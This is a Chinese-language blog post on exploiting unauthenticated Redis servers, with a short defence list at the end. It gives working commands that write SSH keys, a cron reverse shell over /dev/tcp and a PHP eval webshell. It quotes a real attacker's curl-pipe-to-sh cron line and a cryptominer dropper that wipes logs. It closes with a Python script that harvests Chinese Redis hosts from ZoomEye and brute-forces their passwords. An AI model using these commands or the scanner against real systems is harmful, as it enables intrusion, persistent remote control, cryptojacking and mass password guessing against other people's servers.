Redis 未授权访问漏洞利用分析

Redis一个ANSI C语言编写的key-value存储系统,和memcached相比,Redis支持数据的持久化,复杂的value类型(list,set,zset,hash)等以及数据的备份,即master-slave模式。

memcached一样,操作非常简单,但redis支持在clientserver同时操作,且只支持TCP协议。同样,默认的无认证机制和易暴露在公网的服务器,很容易造成威胁。以下是文章内容,主要对未授权漏洞的分析和利用复现,以及最后对含有此漏洞主机的挖掘:

  • Redis 未授权访问漏洞
  • 写入SSH公钥
  • 反弹shell
  • 写入webshell
  • redis攻击实例分析
  • 未授权访问漏洞挖掘

Redis 未授权访问漏洞

memcached类似,Redis默认在6379端口开放,且默认不需要提供认证。在低版本的Redis,没有对连接的用户进行限制,导致如果Redis暴露在互联网中,可以被任意人访问,修改数据库内容,造成极大危害。除了修改数据库外,由于Redis提供了备份的功能,通过修改备份文件路径,从而达到写入任意文件的目的。

在低版本中,protected-mode是不存在的,而默认的本机绑定也是不存在的,如下,是最新版的redis的配置文件,其添加了一个protected-mode和默认绑定127.0.0.1本地回路来防止安全问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ~~~ WARNING ~~~ If the computer running Redis is directly exposed to the
# internet, binding to all the interfaces is dangerous and will expose the
# instance to everybody on the internet. So by default we uncomment the
# following bind directive, that will force Redis to listen only into
# the IPv4 lookback interface address (this means Redis will be able to
# accept connections only from clients running into the same computer it
# is running).
#
# IF YOU ARE SURE YOU WANT YOUR INSTANCE TO LISTEN TO ALL THE INTERFACES
# JUST COMMENT THE FOLLOWING LINE.
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bind 127.0.0.1
...
# By default protected mode is enabled. You should disable it only if
# you are sure you want clients from other hosts to connect to Redis
# even if no authentication is configured, nor a specific set of interfaces
# are explicitly listed using the "bind" directive.
protected-mode yes
redis-unauthorized

可以看到Redis版本,服务器内核版本,配置文件绝对路径等信息。 可以使用keys *获取所有key值,并查看value

由于Redis不支持UDP协议,所以无法像memcached一样使用UDP反射,但由于提供了写文件,所以如果运行Redis用户权限足够高,会产生很严重的问题。

Redis 写入SSH公钥

如果运行Redis的用户为root,可以通过写入authorized.keys文件来获取操作系统权限。

先生成公私钥对:

1
ssh-keygen -t rsa
生成redis公私钥

把生成的公钥前后加上换行\n,防止和save之后的缓存数据搞混,然后将其作为值传入key中:
公钥修改

然后将其作为evil字段的值传入redis中,使用-x参数,并修改Redis configdirdbfilename字段:

1
./redis-cli -x 参数从标准输入读取数据作为该命令的最后一个参数

可以看到,公钥写入成功,尝试ssh登陆,由于我的Redis服务器是在kali上装的,默认关闭了ssh登陆功能,可以修改配置开启SSH登陆:

1
2
3
4
vim /etc/ssh/sshd_config
PermitRootLogin 改为 yes
/etc/init.d/ssh start

然后使用私钥登陆服务器:

成功获取root权限

写入crontab定时任务

crontab是一个定时任务执行程序,由于Redis未授权访问漏洞可以写入文件,通过向定时任务文件写入任务,从而执行命令。
注意:仅在Centos下可以成功,Ubuntu/Debian会有权限和语法问题(这一点巨坑)

crontab常见操作

crontab是用于写入定时任务的,其一般分为两个地方:

  1. /var/spool/cron
    这个目录一般是用户来写入定时任务的,注意的是Ubuntu/Debian的目录稍微有点不一样,是在/var/spool/cron/crontabs里面,只需要其目录下添加一个以$USER命名的文件,往此文件中写入任务即代表此用户的所有定时任务。同时直接使用crontab [option]命令也是对此目录下的文件和内容进行操作。
    但要注意以下要点:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    [crontab操作]
    crontab -e # 编辑
    crontab -l # 查看当前用户的定时任务列表
    crontab -r # 删除当前用户的所有定时任务
    [权限问题]
    使用crontab -e 写入的文件权限是600
    而使用redis save写入文件的权限时644
    在Ubuntu/Debian上,定时任务文件的权限必须为600,否则会报错:
    (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
    这也是这种命令注入方式无法在ubuntu上复现的原因
    [语法问题]
    由于redis写入文件时会添加上redis版本等内容,所以在ubuntu/debian中会因语法错误而报错忽略:
    (root) ERROR (Syntax error, this crontab file will be ignored)
    但在centos是可以执行的
    [命令格式]
    m h dom mon dow command
    * * * * * /usr/bin/curl http://xxxx.ceye.io
  2. etc/crontab

    这个目录一般是管理员使用的,在这个内容中需要添加执行命令的用户

    1
    2
    3
    4
    5
    6
    7
    8
    9
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    # m h dom mon dow user command
    17 * * * * root cd / && run-parts --report /etc/cron.hourly
    25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    #

redis写入crontab任务

centos下,由于crontab不需要严格的语法和权限,可以通过写入命令从而执行。
如下,向定时任务中写入反弹shell

1
2
3
set evil "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
反弹shell

写入webshell

同样由于可以写入文件,而web脚本由于良好的容错性成为了首选shell注入点,以apache+php为例:

写入webshell:

1
2
3
4
5
6
7
8
set evil "\n\n<?php eval($_GET['evil']);?>\n\n"
+OK
config set dir /var/www/html
+OK
config set dbfilename evil.php
+OK
save
+OK
webshell

redis攻击实例分析

接下来看一个在实际中利用的案例:
案例来源于这里

实际反映: 云服务器上CPU满负荷,被通知,应该是被拿来挖矿

redis中写入了两个键值

1
2
3
4
5
[woxdtzfwar]
*/1 * * * * /usr/bin/curl -fsSLhttp://172.104.190.64:8220/test11.sh | sh
[crackit]
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/mjN17bu275t/ZlSarmMC5hCVAx7eJEzqxqy43AiBS61UuFpWZXWal5b6XWdvrH6pCJOI5+ceeFMEmc64B7GNrs2OPyuaP0HST/xh0YyWwoE/2uZmc3EyiR8sIP7/11N+xhHH4nIZB/M8QDaBRN6DWUNd/kzLDuIHr4LntuhKEZpCuQIuiDm7ZBYzbYhGtpPWnO04FzbfMUqP1JssTd/G/mUflRgQhKVACyF8rd8o/o7Zy6I9JVgLV6FpNOLc5Ep9VJuFXxmcxWc+Bj//[email protected]

可以看到一个写入了定时任务,另一个是公钥,他们的利用方法在上面都分析过了,看一下sh脚本内容:

1
2
3
#!/bin/bash
(ps auxf|grep -vgrep|grep minerd |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9minerd;pkill -9 i586;pkill -9 gddr;echo > /var/log/wtmp;history -c;cd ~;curl-L http://172.104.190.64:8220/minerd -o minerd;chmod +x minerd;setsid ./minerd-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo-p x &>>/dev/null)

分析一下脚本内容

  1. 查找删除了minerd进程,查了下minerd是挖矿的进程
  2. 清楚了当前用户的所有定时任务
  3. 再杀进程minerd i586 gddr 可能是之前的进程
  4. 清除日志
  5. 下载minerd挖矿程序,修改权限,运行自己的挖矿账号

Redis未授权访问漏洞挖掘

这里的思路就是对运行redis的主机发送info命令,查看是否有返回配置内容,如若有授权,可以尝试字典破解。redis-cli会在命令发送接收中添加一些辅助字符,使用./redis-cli时会省略显示,构造时需要注意。为了模拟client,我们加入这些字符。

原生数据包内容

这里附上自己写的一个扫描脚本,从zoomeye获取运行Redis的主机和端口,然后进行TCP请求,如果发现需要授权密码,则使用字典进行破解。脚本具体使用方法可以看README

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding: utf-8 -*-
import socket
import requests
import json
def login():
data = {"username": 'username', "password": 'password'}
r = requests.post('https://api.zoomeye.org/user/login', json=data)
return json.loads(r.text)
def verify(port, ip_addr, passwdlist):
s = socket.socket()
s.settimeout(5)
try:
s.connect((ip_addr, port))
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s.send(payload.encode('utf-8'))
recv_data = s.recv(512)
if recv_data:
if b'version' in recv_data:
return True, ''
elif b'NOAUTH' in recv_data:
if passwdlist != '':
with open(passwdlist, 'rb') as f:
print('try to find the passwd for ' + ip_addr)
passwds = f.readlines()
for passwd in passwds:
p = passwd.decode('utf-8').strip()
passwd_payload = '*2\r\n$4\r\nauth\r\n$' + str(len(p)) + '\r\n' + p + '\r\n'
s.send(passwd_payload.encode('utf-8'))
pass_recv = s.recv(128)
if pass_recv and 'OK' in pass_recv:
s.send(payload.encode('utf-8'))
retry_info_recv = s.recv(512)
if b'version' in retry_info_recv:
return True, passwd
return False, ''
else:
return False, ''
except Exception as e:
print(e)
def main():
token = login()
headers = {'Authorization': 'JWT ' + token['access_token']}
base_url = 'https://api.zoomeye.org/host/search?query=app:redis%20%2Bcountry:"CN"&page='
passwdlist = '/path/to/wordlist'
for i in range(1, 100):
r = requests.get(url=base_url + str(i), headers=headers)
res = json.loads(r.text)
try:
for x in res['matches']:
ip_addr = x['ip'].strip()
port = x['portinfo']['port']
print('-------\n' + ip_addr + ' ' + str(port))
flag, passwd = verify(port, ip_addr, passwdlist)
if flag:
with open('redis-res.txt', 'a+') as fw:
fw.write(' '.join([ip_addr, port, passwd]) + '\n')
except Exception as e:
print(e)
if __name__ == '__main__':
main()

防御

  1. 修改默认端口
  2. 使用足够强壮的AUTH
  3. 配置bind
  4. 使用最小权限运行redis
  5. 禁止远程修改db文件地址